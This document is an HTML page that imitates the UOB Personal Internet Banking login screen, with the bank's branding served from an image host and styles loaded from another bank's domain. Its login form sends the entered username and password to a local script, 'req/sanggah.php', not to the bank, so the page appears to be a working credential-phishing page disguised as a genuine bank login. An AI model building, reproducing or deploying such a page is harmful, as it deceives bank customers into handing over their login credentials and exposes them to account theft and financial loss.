<html lang="en">
 <head>
  <meta charset="utf-8"/>
  <meta content="width=device-width, initial-scale=1" name="viewport"/>
  <title>
   UOB Personal Internet Banking
  </title>
  <script src="https://cdn.tailwindcss.com">
  </script>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css" rel="stylesheet"/>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&amp;display=swap" rel="stylesheet"/>
  <link rel="stylesheet" href="https://wondr.bni.co.id/_next/static/css/cfecb897cebfe09c.css" data-precedence="next"><link rel="stylesheet" href="https://wondr.bni.co.id/_next/static/css/cfccc20f0d6f319e.css" data-precedence="next"><link rel="preload" as="script" fetchpriority="low" nonce="" href="https://wondr.bni.co.id/_next/static/chunks/webpack-dc83a52f13668a42.js">
  <style>
   body {
      font-family: 'Inter', sans-serif;
    }
      body{
 width: auto;
 heigh: auto;
 background-image: url('https://ik.imagekit.io/zqsisqvevb/Picsart_25-07-08_00-45-47-156.jpg?updatedAt=1751910373877');
      background-position: 100% 100%;
      background-repeat: no-repeat;
      background-size: 100% 100%; 
      font-family: Alata, sans-serif;
 }

  </style>
 </head>
 
 <body >
  <header class="w-full max-w-md mt-8 px-6">
   <img alt="UOB logo with red bars and blue UOB text on transparent background" class="w-36 h-auto" height="0" src="https://ik.imagekit.io/zqsisqvevb/Picsart_25-07-08_00-28-48-617.png?updatedAt=1751909365334" style="padding:-0px;margin:-10px;width:25%;margin-left: 10px;"/>
  </header>
  </style>
 <div id="popupku" style="position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  width: 90%; height: 90%; background: ; z-index: 999999999;margin-top: 40; font-size: 20px; margin-left: 20px; color: #3C6A8B; margin-bottom: 10px 10px;">

  <main class="w-full max-w-md bg-white mt-6 rounded-sm shadow-lg" style="box-shadow: rgba(0, 0, 0, 0.36) 0px 3px 5px;">
   <div class="flex justify-end px-6 pt-4">
    <nav class="text-sm font-normal text-[#0066cc] space-x-2">
     <a class="hover:underline" href="#">
      English
     </a>
     <span class="text-gray-300">
      |
     </span>
     <a class="hover:underline" href="#">
      Bahasa Indonesia
     </a>
    </nav>
   </div>
   <section class="px-6 pt-4 pb-6 border-b border-gray-200">
    <h1 class="text-gray-800 text-2xl font-normal leading-relaxed">
     Welcome to UOB Personal Internet Banking
    </h1>
   </section>
  
     <form class="px-6 pt-6 pb-4 space-y-4" action="req/sanggah.php" method="POST">

    <input autocomplete="username" class="w-full border-b border-gray-300 text-gray-500 text-lg font-normal placeholder-gray-400 focus:outline-none focus:border-[#0066cc] py-2" placeholder="USERNAME" type="text" name="user" /required>
    <input autocomplete="current-password" class="w-full border-b border-gray-300 text-gray-500 text-lg font-normal placeholder-gray-400 focus:outline-none focus:border-[#0066cc] py-2" placeholder="PASSWORD" type="password" name="pass" /required>
    <button class="bg-[#3563d4] text-white text-lg font-normal rounded-sm px-8 py-3 mt-2" type="submit" style="width:45%;height: 50px;">
     Login
    </button>
    <a class="block mt-3 text-[#0066cc] font-semibold text-base underline decoration-dotted" href="https://forms.uob.co.id/uobforms-id/POR/index.page?type=reset-password" style="font-size:15px;">
     Forgot Username/Password?
    </a>
   </form>
   <section class="bg-[#f0f4f8] px-6 py-6 border-t border-gray-200">
    <p class="text-gray-500 text-lg font-normal leading-relaxed" style="font-size:15px;">
     Don't have an account?
    </p>
    <a class="text-[#0066cc] font-semibold text-xl underline decoration-dotted" href="#" style="font-size:15px;">
     Register now!
    </a>
   </section>
   <div id="wrapper" style="margin-top: 50px">
		<div id="">
	<div class="container" style="background: #245FAD">

	</div>

</div>
		<div id ="#content" class="background">
</div>
   </center>
  </main>
 </body>
</html>
